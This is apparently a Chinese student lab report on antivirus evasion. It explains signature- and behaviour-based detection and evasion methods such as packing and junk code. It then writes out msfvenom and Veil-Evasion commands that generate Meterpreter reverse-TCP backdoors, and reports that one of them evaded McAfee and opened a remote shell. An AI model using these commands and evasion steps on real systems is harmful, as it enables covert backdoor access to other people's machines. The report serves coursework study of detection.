:基础问题回答
- 杀软是如何检测出恶意代码的?
- 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
- 基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
- 免杀是做什么?
- 我的理解就是通过一些技术手段,使安插在宿主主机中的后门软件不被杀毒软件所发现。
- 免杀的基本方法有哪些?
- 加壳:就是相当于把你的后门代码封装起来,但是现在大部分公开的壳都能被杀毒软件查出来,所以加这些壳还不如不加;
- 加花指令:就是加一段垃圾代码,但是并不影响程序的正常执行,加了花指令后,使一些杀毒软件无法正确识别木马程序,从而达到免杀的效果;
- 再编译:如果有源代码可以使用其他语言重新编写再编译,或者利用已有的shellcode构造payload重新编译生成;
- 修改行为:尽量少做能被杀毒软件直接检测到的敏感行为,可以使用反弹式连接,或者减少对系统注册表之类的修改
实验过程
msfvenom直接生成meterpreter可执行文件
效果不理想大多数杀毒软件还是能查得出。
Veil-Evasion生成可执行文件
用了老师的虚拟机,自带Veil-Evasion,所以直接开始实验
- 在终端下输入指令veil-evasion即可打开软件,依次输入以下指令:
use python/meterpreter/rev_tcp //设置payload
set LHOST 192.168.169.129 //设置反弹连接IP
set LPORT 4444 //设置反弹端口4444
generate //生成
test2_5225//程序名
1
有25%的杀软查出来了
利用shellcode编写后门程序的检测
- 先使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.169.129 LPORT=443 -f c
生成一个c语言格式的Shellcode数组 - 然后利用VS2013打开代码并修改
完成后编译运行,win下的exe就相当于后门,kali监听。
kali已经反弹连接成功: 输入一下dir指令试试,成功获得文件目录信息
McAfee扫描
并没有发现后门程序。。。。。。
附上杀毒软件版本号: